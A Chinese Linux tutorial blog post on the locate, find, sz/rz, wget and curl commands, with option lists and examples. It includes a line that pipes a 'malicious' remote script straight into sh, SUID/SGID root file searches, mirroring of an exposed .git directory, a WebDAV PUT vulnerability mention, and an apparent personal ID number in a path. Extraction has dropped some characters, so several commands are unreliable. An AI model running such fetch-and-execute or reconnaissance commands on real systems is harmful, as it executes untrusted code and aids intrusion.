文件查找下载命令

2022-09-28 19:53:25 浏览数 (1)

[TOC]

0x00 快速入门

命令脑图:

WeiyiGeek.locte与find脑图

0x01 文件查找
locate 命令

描述:在后台数据库中按文件名搜索,速度更快,通过/var/lib/mlocate内数据库记载找出用户输入的关键字文件名,它的更新速率默认是一天一次,Linux版本的不同名字不同Mac下在/var/db/locate.datebase; 根据距上次更新后更改的文件数目多少,速度不同并且只能通过文件名来搜索

WeiyiGeek.locate查找原理图

基础实例L

代码语言:javascript复制
#1.Centos 命令强制更新数据库 /var/lib/mlocate/mlocate.db 文件
updatedb                         
sudo /usr/libexec/locate.updatedb #Mac 下是

#2.查询命令
locate [filename]

#3.遵守/etc/updatedb.conf配置文件里的筛选规则,所以即使你更新了数据库也不一定能locate到所要寻找的文件
PRUNE_BIND_MOUNTS = "yes"    #开启搜索限制
PRUNEFS    = "afs udf"       #搜索时不搜索的文件系统
PRUNENAMES = ".git .hg"      #搜索时不搜索的文件名
PRUNEPATHS = "/afs /tmp"     #搜索时不搜索的路径

WeiyiGeek.设置搜寻参数

find 命令 - Linux 高级文件目录查询命令

描述:是Linux中最常用搜索文件或者目录的命令,十分强大能从各个维度方面进行搜寻;

代码语言:javascript复制
#基于语法:
find【搜索范围】【搜索条件】

#参数
-name 按照文件名搜索  #可采用通配符
-iname 文件名不区分大小写
-regex "PATTERN"  通过正则查询

-user
-group
-uid
-gid
-nouser : 查找没有属主的文件
-nogroup :查找没有属组的文件

-type f/d/l/s(套接字)/b/c(字符设备)/p(管道设备)  #查询是文件还是目录

-a / o / and / ! #组合条件

-perm -/ MODE(u,g,o) #指定权限

-atime(天)/-amin(分)  #访问文件的时间
-ctime/-cmin       #改变文件属性的时间
-mtime/-mmin       #修改文件内容的时间

-size  #文件大小

-newer # 列出被改参数指定的文件还要新的文件名称;


# 动作Active
-print #默认处理动作,显示至屏幕
-ls     #类似于对查找的文件执行ls -l命令
-empty  #只对空目录进行限制
-delete #删除查找到文件
-fls /tmp/test.log #存入ls -aihl 格式的到文件
-exec COMMAND {} ;  # 或者将; 替换为  
-ok COMMAND {} ;    # 或者将; 替换为   

#find使用Linux中的通配符是在系统当中搜索符合条件的文件名
#通配符是完全匹配的
* 匹配任意内容(任意多个字符)
? 匹配任意一个字符
[] 匹配任意一个中括号内的字符 x[ab]->xa或者xb
[-] 匹配中括号中任意一个字符,-代表一个范围 例如,[a-z]代表匹配一个小写字母
[^] 逻辑非,表示匹配不是中括号内的一个字符 例如[^0-9]代表匹配一个不是数字的字符

#其他参数:
-print0 : 不换行打印find的结果,结果之间采用空格进行分割;
-path :  过滤指定目录
-prune : 表示过滤指定子目录
-mindepth,-maxdepth : 设置层级目录

案例示例:

代码语言:javascript复制
#示例0.可以查看当前目录所有嵌套的文件
find .
find . | grep .txt #使用管道符


#示例1.通过指定文件名称进行搜寻
find / -name  文件名.db *.git
find / -name "ab[cd]"   //匹配abc或abd
find / -iname SShd_config   #不区分大小查询


#示例2.按文件类型搜寻
find . -type f    #只想看到文件
find . -type d    #想看到目录
find / -type l -ls  # 查找软连接及其指向:

#示例3.按照所有者来搜索
find /root -user root    #是找root目录下所有者为root的文件
find /root -nonuser     #是找root目录下没有所有者的文件
find / -nogroup -print  #查找不属于任何用户组的文件:


#示例4.按照权限搜寻
find / -perm -o=w
find / -perm  7000
find / -uid 0 -perm -4000  #使用 uid 查找对应的程序  SUID
find / -user root -perm -4000 -print #查找 SUID root 文件
find / -group root -perm -2000 -print #查找 SGID root 文件


#示例5.利用组合条件进行搜寻(多条件查询and/or)
find / -perm -4000 -o -perm -2000 -print  #查找 为 SUID 或者 为SGID 的文件:
find / ( -not -user root -a -not -name 'fstab' ) -ls #找出tmp目录下,所属主不是root且文件名不是fstab的文件

#示例6.按照时间来搜索
find 【搜索范围】 -(?)time ( /-)时间
find /root -mtime  10    #是查找十天前修改的文件
find /root -mtime -10    #是查找十天内修改的文件
find /root -mtime -0.5   #是查找0.5天内修改的文件
find /root -mtime 10     #是查找第十天修改的文件


#示例7.按照大小来搜索
find 【搜索范围】-size ( /-) *(k/M)  #小写k是kB,大写M是MB
find /root -size  10k       #是查找root目录下大小大于10kB的文件
find /root -size  10k -o -size 10k  #是查找root目录下大小大于或者等于10kB的文件
find /root -size  20k -a -size -50k   #查找20~50kB大小的文件
find /root -size -20k -o -size  50     # k查找小于20或者大于50kB的文件


#示例8.按照i节点来搜索
find 【搜索范围】-inum 【-/  i节点号】                   #注意下面括号之间有空格
find / ( -inum  4000000000 -a -inum -4026532147 ) -l  #搜寻节点号大于400000000且小于4026532147
find / ( -inum  4000000000 -a  -not -inum -4026532147 ) -l  #搜寻节点号大于400000000且不下于4026532147


#示例9.-exec/-ok 命令 {} ;用来继续处理搜索到的文件(非常重要)
find /root -size  20k -a -size -50k -exec ls -lh {} ;      #查找20~50kB的文件,并列出详细信息
find ./ -name "*****" -exec rm -f {} ;  #其中'{}'代表找到的文件,删除满足条件的文件或者目录
find . -type f -exec ls -l '{}' ';'  
find . mtime  1 -exec wc -l {}  ;
6 ./.nvm/versions/node/v11.12.0/lib/node_modules/pm2/node_modules/pm2-axon-rpc/.travis.yml
find . cmin -5 -ok mv {} {}.new ;
find /tmp -nogroup -ok chown root:nobaby {} ; #将查询到的文件所属主和组进行更改
find / -perm  7000 -exec ls {};        # 因为在;有特殊意义则使用来转义
find . -name *410164689* -exec cp {} f:/sfz/41/1327/1996/411327199612020168.jpg  ;

#示例10.高阶利用
find /root -name ding*.sh -delete                    #删除找到的文件
find /root -name ding*y -fls www.txt && cat www.txt  #找到文件以长连接格式存入到文件中
139002    4 -rwxr-xr-x   1 root     root          994 May 13 22:40 /root/dingding.py


#示例11.不换行显示查找结果
find . -type f -name "*.yaml" -print  # 换行输出
find . -type f -name "*.log" -print0  # 不换输出,空格分隔
./var/lib/docker/overlay2/716be24950255cd6668ac1ddbb662f2543d7a8bd6a5feb34d74f3d108ae3262b/diff/usr/lib/node_modules/npm/node_modules/socks/yarn-error.log ./var/log/boot.log ./var/log/tuned/tuned.log


#示例12.找出/app/lv/xinghuo/下48小时的日志并压缩 
find /app/lv/xinghuo/ -mtime  1 -name "itmweb.log_2017-*.log" -exec gzip {} ; 
find /app/lv/xinghuo/ -mtime  15 -name "host-manager*.gz" -exec rm -rf {} ; 

#示例13.该删除文件、目录下的所有空目录(清空回收站还是不错的)
# 删除回收站
find ~/.trash -delete
# 删除当前目录下的所有文件
$find . -type f -delete
# 删除空目录以及指定路径下的空目录
$find . -type d -empty -delete
$find ~/.trash -type d -delete

# 实例14.列出/etc目录中文件日期比/etc/passwd还新的文件
> find /etc -newer /etc/passwd
/etc
/etc/shadow
/etc/rc2.d
/etc/rc2.d/S01ssh

# 实例15.查找当前目录下的tomcat文件以及在当前文件下排除 BAK 目录(子目录)中的jpg文件(排除多个目录)
find / -name "*tomcat.txt" -maxdepth 1 -print 
find . -path "*/BAK" -prune -o -type f -name *.jpg > /tmp/2019.txt
find . -path "./code" -prune -o -name "*.txt" -print  # 在当前目录除code之外的子目录内搜索 txt文件
find . (-path "./code" -o -path "./code2" ) -prune -o -name "*.txt" -print    #  在当前目录及除code和code2之外的子目录中查找txt文件

# 实例16.值得学习-exec参数执行查找后的相应文件处理结尾可以采用` `来替换`;`
find . -type f -exec ls -alh {} && echo {}  
# -rw------- 1 root root 322M Feb 24 13:31 ./fanal-3744861088

# 示例17.遍历/tmp目录下的多个图片格式,并将其路径与后缀进行多次替换。
for i in $(find /tmp -name *.png -o -name *.jpg -o -name *.jpeg -o -name *.tiff); do img1=${i/.png/.webp}; echo ${img1/image/convert}; done
/tmp/convert/1.jpg
/tmp/convert/2.webp

0x02 文件上传下载
sz 与 rz 命令

描述:在debian系列中采用sz和rz命令进行下载或者上传文件到服务器中;

代码语言:javascript复制
sz remote文件  #下载linux上的文件到本地(debain系列采用)
rz local文件   #上传本地文件到Linux上
wget 命令

描述:用来从指定的URL下载文件,wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。 如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载,这对从那些限定了链接时间的服务器上下载大文件非常有

代码语言:javascript复制
用法: wget [选项]... [URL]...
Options:长选项所必须的参数在使用短选项时也是必须的
#启动:
  -b,  --background        启动后转入后台。
  -e,  --execute=COMMAND   运行一个“.wgetrc”风格的命令。

#日志和输入文件:
  -o,  --output-file=FILE    将日志信息写入 FILE。
  -a,  --append-output=FILE  将信息添加至 FILE。
  -d,  --debug               打印大量调试信息。
  -q,  --quiet               安静模式 (无信息输出)。
  -v,  --verbose             详尽的输出 (此为默认值)。
  -nv, --no-verbose          关闭详尽输出,但不进入安静模式。
  -i,  --input-file=FILE     下载本地或外部 FILE 中的 URLs。
  -F,  --force-html          把输入文件当成 HTML 文件。
  -B,  --base=URL            解析与 URL 相关的HTML 输入文件 (由 -i -F 选项指定)。
       --config=FILE         Specify config file to use.

#下载:
  -t,  --tries=NUMBER            设置重试次数为 NUMBER (0 代表无限制)。
       --retry-connrefused       即使拒绝连接也是重试。
  -O,  --output-document=FILE    将文档写入 FILE。
  -nc, --no-clobber              skip downloads that would download toexisting files (overwriting them).
  -c,  --continue                断点续传下载文件。(网络较差的时候推荐使用)
       --progress=TYPE           选择进度条类型。
  -N,  --timestamping            只获取比本地文件新的文件。
  --no-use-server-timestamps     不用服务器上的时间戳来设置本地文件。
  -S,  --server-response         打印服务器响应。
       --spider                  不下载任何文件。
  -T,  --timeout=SECONDS         将所有超时设为 SECONDS 秒。
       --dns-timeout=SECS        设置 DNS 查寻超时为 SECS 秒。
       --connect-timeout=SECS    设置连接超时为 SECS 秒。
       --read-timeout=SECS       设置读取超时为 SECS 秒。
  -w,  --wait=SECONDS            等待间隔为 SECONDS 秒。
       --waitretry=SECONDS       在获取文件的重试期间等待 1..SECONDS 秒。
       --random-wait             获取多个文件时,每次随机等待间隔0.5*WAIT...1.5*WAIT 秒。
       --no-proxy                禁止使用代理。
  -Q,  --quota=NUMBER            设置获取配额为 NUMBER 字节。
       --bind-address=ADDRESS    绑定至本地主机上的 ADDRESS (主机名或是 IP)。
       --limit-rate=RATE         限制下载速率为 RATE。
       --no-dns-cache            关闭 DNS 查寻缓存。
       --restrict-file-names=OS  限定文件名中的字符为 OS 允许的字符。
       --ignore-case             匹配文件/目录时忽略大小写。
  -4,  --inet4-only              仅连接至 IPv4 地址。
  -6,  --inet6-only              仅连接至 IPv6 地址。
       --prefer-family=FAMILY    首先连接至指定协议的地址FAMILY 为 IPv6,IPv4 或是 none。
       --user=USER               将 ftp 和 http 的用户名均设置为 USER。
       --password=PASS           将 ftp 和 http 的密码均设置为 PASS。
       --ask-password            提示输入密码。
       --no-iri                  关闭 IRI 支持。
       --local-encoding=ENC      IRI (国际化资源标识符) 使用 ENC 作为本地编码。
       --remote-encoding=ENC     使用 ENC 作为默认远程编码。
       --unlink                  remove file before clobber.

#目录:
  -nd, --no-directories           不创建目录。
  -x,  --force-directories        强制创建目录。
  -nH, --no-host-directories      不要创建主目录。
       --protocol-directories     在目录中使用协议名称。
  -P,  --directory-prefix=PREFIX  以设置PREFIX/... 保存文件
       --cut-dirs=NUMBER          忽略远程目录中 NUMBER 个目录层。

#HTTP 选项:
       --http-user=USER        设置 http 用户名为 USER。
       --http-password=PASS    设置 http 密码为 PASS。
       --no-cache              不在服务器上缓存数据。
       --default-page=NAME     改变默认页(默认页通常是“index.html”)。
  -E,  --adjust-extension      以合适的扩展名保存 HTML/CSS 文档。
       --ignore-length         忽略头部的‘Content-Length’区域。
       --header=STRING         在头部插入 STRING。
       --max-redirect          每页所允许的最大重定向。
       --proxy-user=USER       使用 USER 作为代理用户名。
       --proxy-password=PASS   使用 PASS 作为代理密码。
       --referer=URL           在 HTTP 请求头包含‘Referer: URL’。
       --save-headers          将 HTTP 头保存至文件。
  -U,  --user-agent=AGENT      标识为 AGENT 而不是 Wget/VERSION。
       --no-http-keep-alive    禁用 HTTP keep-alive (永久连接)。
       --no-cookies            不使用 cookies。
       --load-cookies=FILE     会话开始前从 FILE 中载入 cookies。
       --save-cookies=FILE     会话结束后保存 cookies 至 FILE。
       --keep-session-cookies  载入并保存会话 (非永久) cookies。
       --post-data=STRING      使用 POST 方式;把 STRING 作为数据发送。
       --post-file=FILE        使用 POST 方式;发送 FILE 内容。
       --content-disposition   当选中本地文件名时允许 Content-Disposition 头部 (尚在实验)。
       --auth-no-challenge     发送不含服务器询问的首次等待的基本 HTTP 验证信息。

#HTTPS (SSL/TLS) 选项:
       --secure-protocol=PR     选择安全协议,可以是 auto、SSLv2、SSLv3 或是 TLSv1 中的一个。
       --no-check-certificate   不要验证服务器的证书。
       --certificate=FILE       客户端证书文件。
       --certificate-type=TYPE  客户端证书类型,PEM 或 DER。
       --private-key=FILE       私钥文件。
       --private-key-type=TYPE  私钥文件类型,PEM 或 DER。
       --ca-certificate=FILE    带有一组 CA 认证的文件。
       --ca-directory=DIR       保存 CA 认证的哈希列表的目录。
       --random-file=FILE       带有生成 SSL PRNG 的随机数据的文件。
       --egd-file=FILE          用于命名带有随机数据的 EGD 套接字的文件。

#FTP 选项:
       --ftp-user=USER         设置 ftp 用户名为 USER。
       --ftp-password=PASS     设置 ftp 密码为 PASS。
       --no-remove-listing     不要删除‘.listing’文件。
       --no-glob               不在 FTP 文件名中使用通配符展开。
       --no-passive-ftp        禁用“passive”传输模式。
       --retr-symlinks         递归目录时,获取链接的文件 (而非目录)。

#递归下载:
  -r,  --recursive          指定递归下载。
  -l,  --level=NUMBER       最大递归深度 (inf 或 0 代表无限制,即全部下载)。
       --delete-after       下载完成后删除本地文件。
  -k,  --convert-links      让下载得到的 HTML 或 CSS 中的链接指向本地文件。
  -K,  --backup-converted   在转换文件 X 前先将它备份为 X.orig。
  -m,  --mirror             -N -r -l inf --no-remove-listing 的缩写形式。
  -p,  --page-requisites    下载所有用于显示 HTML 页面的图片之类的元素。
       --strict-comments    用严格方式 (SGML) 处理 HTML 注释。

#递归接受/拒绝:
  -A,  --accept=LIST               逗号分隔的可接受的扩展名列表。
  -R,  --reject=LIST               逗号分隔的要拒绝的扩展名列表。
  -D,  --domains=LIST              逗号分隔的可接受的域列表
       --exclude-domains=LIST      逗号分隔的要拒绝的域列表
       --follow-ftp                跟踪 HTML 文档中的 FTP 链接。
       --follow-tags=LIST          逗号分隔的跟踪的 HTML 标识列表。
       --ignore-tags=LIST          逗号分隔的忽略的 HTML 标识列表。
  -H,  --span-hosts                递归时转向外部主机。
  -L,  --relative                  只跟踪有关系的链接。
  -I,  --include-directories=LIST  允许目录的列表。
       --trust-server-names        use the name specified by the redirection url last component.
  -X,  --exclude-directories=LIST  排除目录的列表。
  -np, --no-parent                 不追溯至父目录。

实际案例:

代码语言:javascript复制
#示例1.下载文件并将重命名到自定位置
wget http://baidu.com/malicious_source.sh -O /tmp/test.sh  -o xx.log   #-O 重命名下载的文件 记录下载日志方法:使用小写字母o
wget http://baidu.com/malicious_source.sh -P /tmp/  #下载的文件到指定目录
wget -i filelist.txt #下载多个文件指定file
#模拟在浏览器下下载有的网站不允许客户在非浏览器环境下下载。使用--user-agent来设置
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.linuxde.net/testfile.zip


#示例2.直接下载恶意的源文件,然后使用sh直接执行该脚本。
wget http://baidu.com/malicious_source.sh -O- | sh
wget http://192.168.8.13/article/view.asp -O- | cat    #输出文件到标准输出,然后用cat打开.


#示例3.FTP匿名下载
wget ftp://192.168.1.254/document/test.zip 
wget --user=admin --password=password ftp://192.168.1.254/document/test.zip #对于FTP账户密码认证


#示例4.#对于HTTPS站点进行下载,下载'dir'目录下的所有gz文件
# -np 没有父目录
# -nd 不要构建本地目录结构
# --accept=gz 只下载gz文件
wget -r -np -nd --accept=gz --no-check-certificate https://www.xxx.com/dir/ --http-user=username --http-password=password 
wget -r -np -nd http://tel.mirrors.163.com/centos/6.4/os/x86_64/     # 下载 http://tel.mirrors.163.com/centos/6.4/os/x86_64/ 目录中的所有文件


#示例5.下载一个网站的本地镜像 与 Teleport Pro 相似,断点下载
wget -c -r --level=1 -k -p -np http://docs.Python.org/2/tutorial/index.html    
wget --mirror -p --convert-links -P ./LOCAL-DIR WEBSITE-URL #当你要下载一个完整站点并实现本地浏览的时候,

WeiyiGeek.简单示例

代码语言:javascript复制
#示例6.连接测试与Response请求查看
wget --spider URL #测试下载连接,正确返回 200 OK,否则错误
wget -S http://192.168.8.13/article/view.asp  --spider   #打印Response-Head信息
wget -S http://baidu.com/index.html --spider -o test1.log
# 已发出 HTTP 请求,正在等待回应...
#   HTTP/1.1 200 OK
#   Date: Thu, 27 Jun 2019 08:39:37 GMT
#   Server: Apache
#   Last-Modified: Sat, 31 Dec 2011 09:54:00 GMT
#   ETag: "1cdb-4b56054245e00"
#   Accept-Ranges: bytes
#   Content-Length: 7387
#   Cache-Control: max-age=86400
#   Expires: Fri, 28 Jun 2019 08:39:37 GMT
#   Connection: Keep-Alive
#   Content-Type: text/html
# 长度:7387 (7.2K) [text/html]

wget --tries=40 --reject=gif  URL    #增加重试次数(当下载大文件的时候)与下载排出过滤
wget -r -A.pdf http://192.168.1.10/  #下载一个网站的指定格式文件,比如下面下载网站中所有的pdf

#示例精简利用
wget --mirror --include-directories=/.git http://xxx.com/.git       #防止.git目录被下载(值得借鉴),直接下载存在.git目录:>
wget --spider DOWNLOAD-URL #使用--spider试图做计划下载时候,需要先检查一下下载链接是否有效。
wget --limit-rate=300k -c -b URL  #限速下载与断点续传(网络中断的时候非常有用)/ 后台下载 
wger -Q5m -i filelist.txt #限制下载大于5MB的文件,只要在递归下载时才有效;

WeiyiGeek.spider

示例7.代理设置(实验环境:ubuntu 12.04 LTS goagent)

代码语言:javascript复制
# 方式1.在环境变量中设置代理
export http_proxy=http://127.0.0.1:8087

# 方式2.使用配置文件 /etc/wgetrc  或者将其中与proxy有关的几行复制到~/.wgetrc
# You can set the default proxies for Wget to use for http, https, and ftp.
# They will override the value in the environment.
https_proxy = http://127.0.0.1:8087/
http_proxy = http://127.0.0.1:8087/
ftp_proxy = http://127.0.0.1:8087/

# If you do not want to use proxy at all, set this to off. (开启和断开代理)
use_proxy = on

# 方式3.wget本身没有专门设置代理的命令行参数,但是有一个"-e"参数,可以在命令行上指定一个原本出现在".wgetrc"中的设置。
# 该方式对于使用一个临时代理尤为方便。
wget -c -r -np -k -L -p -e "http_proxy=http://127.0.0.1:8087" http://www.subversion.org.cn/svnbook/1.4/
注: 如果是https则参数为:-e "https_proxy=http://127.0.0.1:8087"
注: 使用https时如果想要忽略服务器端证书的校验,可以使用 -k 参数。
curl 命令

描述:利用URL规则在命令行下工作的文件传输工具,它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。 作为一款强力工具,curl支持包括HTTP、HTTPS、FTP等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。

语法参数:

代码语言:javascript复制
curl(选项)(参数)
#参数
-a/--append	上传文件时,附加到目标文件
-A/--user-agent <string>	设置用户代理发送给服务器
-anyauth	可以使用“任何”身份验证方法
-b/--cookie <name=string/file>	cookie字符串或文件读取位置
     --basic	使用HTTP基本验证
-B/--use-ascii	使用ASCII /文本传输
-c/--cookie-jar <file>	操作结束后把cookie写入到这个文件中
-C/--continue-at <offset>	断点续转
-d/--data <data>	HTTP POST方式传送数据
     --data-ascii <data>	以ascii的方式post数据
     --data-binary <data>	以二进制的方式post数据
     --negotiate	使用HTTP身份验证
     --digest	使用数字身份验证
     --disable-eprt	禁止使用EPRT或LPRT
     --disable-epsv	禁止使用EPSV
     @data.json 需要上传请求或者文件时需要使用
-D/--dump-header <file>	把header信息写入到该文件中
     --egd-file <file>	为随机数据(SSL)设置EGD socket路径
     --tcp-nodelay	使用TCP_NODELAY选项
-e/--referer	来源网址
-E/--cert <cert[:passwd]>	客户端证书文件和密码 (SSL)
     --cert-type <type>	证书文件类型 (DER/PEM/ENG) (SSL)
     --key <key>	私钥文件名 (SSL)
     --key-type <type>	私钥文件类型 (DER/PEM/ENG) (SSL)
     --pass <pass>	私钥密码 (SSL)
     --engine <eng>	加密引擎使用 (SSL). "--engine list" for list
     --cacert <file>	CA证书 (SSL)
     --capath <directory>	CA目录 (made using c_rehash) to verify peer against (SSL)
     --ciphers <list>	SSL密码
     --compressed	要求返回是压缩的形势 (using deflate or gzip)
     --connect-timeout <seconds>	设置最大请求时间
     --create-dirs	建立本地目录的目录层次结构
     --crlf	上传是把LF转变成CRLF
-f/--fail	连接失败时不显示http错误
     --ftp-create-dirs	如果远程目录不存在,创建远程目录
     --ftp-method [multicwd/nocwd/singlecwd]	控制CWD的使用
     --ftp-pasv	使用 PASV/EPSV 代替端口
     --ftp-skip-pasv-ip	使用PASV的时候,忽略该IP地址
     --ftp-ssl	尝试用 SSL/TLS 来进行ftp数据传输
     --ftp-ssl-reqd	要求用 SSL/TLS 来进行ftp数据传输
-F/--form <name=content>	模拟http表单提交数据
     --form-string <name=string>	模拟http表单提交数据
-g/--globoff	禁用网址序列和范围使用{}和[]
-G/--get	以get的方式来发送数据
-H/--header <line>	自定义头信息传递给服务器
     --ignore-content-length	忽略的HTTP头信息的长度
-i/--include	输出时包括protocol头信息
-I/--head	只显示请求头信息
-j/--junk-session-cookies	读取文件进忽略session cookie
     --interface <interface>	使用指定网络接口/地址
     --krb4 <level>	使用指定安全级别的krb4
-k/--insecure	允许不使用证书到SSL站点
-K/--config	指定的配置文件读取
-l/--list-only	列出ftp目录下的文件名称
     --limit-rate <rate>	设置传输速度
     --local-port<NUM>	强制使用本地端口号
-m/--max-time <seconds>	设置最大传输时间(数据传输的最大允许时间)
     --max-redirs <num>	设置最大读取的目录数
     --max-filesize <bytes>	设置最大下载的文件总量
-M/--manual	显示全手动
-n/--netrc	从netrc文件中读取用户名和密码
     --netrc-optional	使用 .netrc 或者 URL来覆盖-n
     --ntlm	使用 HTTP NTLM 身份验证
-N/--no-buffer	禁用缓冲输出
-o/--output	把输出写到该文件中
-O/--remote-name	把输出写到该文件中,保留远程文件的文件名
-p/--proxytunnel	使用HTTP代理
     --proxy-anyauth	选择任一代理身份验证方法
     --proxy-basic	在代理上使用基本身份验证
     --proxy-digest	在代理上使用数字身份验证
     --proxy-ntlm	在代理上使用ntlm身份验证
-P/--ftp-port <address>	使用端口地址,而不是使用PASV
-q	作为第一个参数,关闭 .curlrc
-Q/--quote <cmd>	文件传输前,发送命令到服务器
-r/--range <range>	检索来自HTTP/1.1或FTP服务器字节范围
--range-file	读取(SSL)的随机文件
-R/--remote-time	在本地生成文件时,保留远程文件时间
     --retry <num>	传输出现问题时,重试的次数
     --retry-delay <seconds>	传输出现问题时,设置重试间隔时间
     --retry-max-time <seconds>	传输出现问题时,设置最大重试时间
-s/--silent	静默模式。不输出任何东西
-S/--show-error	显示错误
     --socks4 <host[:port]>	用socks4代理给定主机和端口,此参数会覆盖“-x”参数;
     --socks5 <host[:port]>	用socks5代理给定主机和端口,此参数会覆盖“-x”参数;
     --stderr <file>	 
-t/--telnet-option <OPT=val>	Telnet选项设置
     --trace <file>	对指定文件进行debug
     --trace-ascii <file>	Like --跟踪但没有hex输出
     --trace-time	跟踪/详细输出时,添加时间戳
-T/--upload-file <file>	上传文件
     --url <URL>	Spet URL to work with
-u/--user <user[:password]>	设置服务器的用户和密码
-U/--proxy-user <user[:password]>	设置代理用户名和密码
-w/--write-out [format]	什么输出完成后
-x/--proxy <host[:port]>	在给定的端口上使用HTTP代理
-X/--request <command>	指定什么命令
-y/--speed-time	放弃限速所要的时间,默认为30
-Y/--speed-limit	停止传输速度的限制,速度时间

实际案例:

代码语言:javascript复制
#示例1.curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作
curl URL --silent #不显示进度信息使用
curl -s -o aaa.jpg  http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg   # -s与--silent效果相同


#示例2. 使用选项-O将下载的数据写入到文件,必须使用文件的绝对地址
curl http://man.linuxde.net/text.iso --silent -O
# 用-O(大写的),后面的url要具体到某个文件,不然抓不下来。我们还可以用正则来抓取东西
curl -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg  
curl -O http://blog.51yip.com/wp-content/uploads/2010/[0-9][0-9]/aaaaa.jpg 

#选项-o将下载数据写入到指定名称的文件中,并使用--progress显示进度条:
curl http://man.linuxde.net/test.iso -o filename.iso --progress
######################################### 100.0%


#示例3. 断点续传从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件
curl -C 偏移量 URL/File  #偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -:
curl -C -URL
curl -C -O http://blog.51yip.com/wp-content/uploads/2010/09/compare_varnish.jpg 
#分段下载
curl -r 0-100 -o img.part1 http://www.baidu.com/logo.png
curl -r 100- -o img.part1 http://www.baidu.com/logo.png


#示例4.常用选项 
curl URL --user-agent "Mozilla/5.0"  #或者curl URL -A "Mozilla/5.0" 检查用户代理
curl --referer http://www.google.com http://man.linuxde.net #指定参照页字符串:用来表示用户是从哪个页面到达当前页面的
curl URL --limit-rate 50k  #限制curl的下载速度: 命令中用k(千字节)和m(兆字节)指定下载速度限制。
curl URL --max-filesize bytes #指定可下载的最大文件大小: 文件大小超出限制命令则返回一个非0退出码否则返回0。

curl -f http://blog.51yip.com/asdf   #显示抓取错误
# curl: (22) The requested URL returned error: 404  


#示例5.设置头信息与打印返回的头信息
curl -H "Host:man.linuxde.net" -H "accept-language:zh-cn" URL  #使用-H"头部信息" 传递多个头部信息
curl -I http://man.linuxde.net  #通过-I或者-head可以只打印出HTTP头部信息:
curl -I http://man.linuxde.net 2>/dev/null | head -1 #打印出HTTP头部的状态码信息,不显示连接信息
#HTTP/1.1 200 OK


#示例6.cookie与代理设置
curl http://man.linuxde.net --cookie "user=root;pass=123456"  #设置多个cookie使用分号分隔:
curl URL --cookie-jar cookie_file # 将cookie另存为一个文件,使用--cookie-jar选项:
curl -x 24.10.28.84:32779 -o home.html http://blog.51yip.com  #代理IP请求


#示例7.登录认证
#完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码:
curl -u user:pwd http://man.linuxde.net
curl -u user http://man.linuxde.net

#模拟表单信息,模拟登录,保存cookie信息,-F就是网页中字段名,使用cookie文件
curl -c ./cookie_c.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php
curl -b ./cookie_c.txt  http://blog.51yip.com/wp-admin

#保存Header头信息与模拟登录
curl -D Cque.dump --silent http://www.cque.edu.cn >>/dev/null
curl -D ./cookie_D.txt -F log=aaaa -F pwd=****** http://blog.51yip.com/wp-login.php 

#示例8.FTP上传下载文件
curl -u 用户名:密码 -O ftp://blog.51yip.com/demo/curtain/bbstudy_files/style.css   # ftp下载文件
curl -T test.sql ftp://用户名:密码@ip:port/demo/curtain/bbstudy_files/ #通过ftp上传

WeiyiGeek.示例解决

代码语言:javascript复制
#示例9.补充请求方法
#指定方法进行与服务器连接(还有:这里用了Put的方法,就是IIS6.0的Dav的写如漏洞)
curl -X PUT "http://**.**.**.**/1123123.jsp/" -d "title=comewords&content=articleConten"  #常规形式
curl -X POST "http://**.**.**.**/1123123.jsp/" -H "Content-Type:application/json"  -d '{"title":"comewords","content":"articleContent"}'#JSON
curl -X POST -H "Content-Type: application/json" "http://**.**.**.**/1123123.jsp/" -d@data.json


#示例10.文件上传文件
curl -F "file=@/Users/fungleo/Downloads/401.png" -H "token: 222" -v "http://localhost:8000/api/v1/upimg"

#示例11.内置函数获取网站的响应码:获取http_code / -s 去掉所有的状态;
$ curl --connect-timeout 2 -m 2 -s -I http://172.20.33.96:8080 
$ curl -m 5 -s -w %{http_code} http://www.cqsdzy.com/index.html -o /dev/null/span;echo " "
$ curl -I -s -o /dev/null -w "%{http_code} n" http://weiyigeek.top
#网站访问速度测试
$ curl -o /dev/null -s -w "DNS 解析时间: "%{time_namelookup}"nTCP 建立连接时间: "%{time_connect}"nC/S 传输时间: "%{time_starttransfer}"n完整耗时: "%{time_total}"n下载速度(bytes): "%{speed_download}"n" "http://weiyigeek.top/"
$ curl -o /dev/null -s -w "DNS解析耗时: "%{time_namelookup}"s_重定向耗时: "%{time_redirect}"s_TCP连接耗时: "%{time_connect}"s_请求准备耗时: "%{time_pretransfer}"s_应用连接耗时: "%{time_appconnect}"s_传输耗时: "%{time_starttransfer}"s_下载速度: "%{speed_download}"byte/s_整体请求响应耗时: "%{time_total}"s" "http://weiyigeek.top/"

DNS 解析时间: 0.255072
TCP 建立连接时间: 1.471698
C/S 传输时间: 1.688269
合计用时: 7.808575
下载速度(bytes): 7245.000

cat > fmt.txt <<END
n
Response Time for: %{url_effective}nn
DNS Lookup Time:tt%{time_namelookup}sn
Redirection Time:tt%{time_redirect}sn
Connection Time:tt%{time_connect}sn
App Connection Time:tt%{time_appconnect}sn
Pre-transfer Time:tt%{time_pretransfer}sn
Start-transfer Time:tt%{time_starttransfer}snn
Total Time:ttt%{time_total}sn
END

# 参数解释
# url_effective: 执行完地址重定向之后的最终 URL;
# time_namelookup: 从请求开始至完成名称解析所花的时间,单位为秒,下同;
# time_redirect: 执行所有重定向所花的时间;
# time_connect: 从请求开始至建立 TCP 连接所花的时间;
# time_appconnect: 从请求开始至完成 SSL/SSH 握手所花的时间;
# time_pretransfer: 从请求开始至服务器准备传送文件所花的时间,包含了传送协商时间;
# time_starttransfer: 从请求开始至服务器准备传送第一个字节所花的时间;
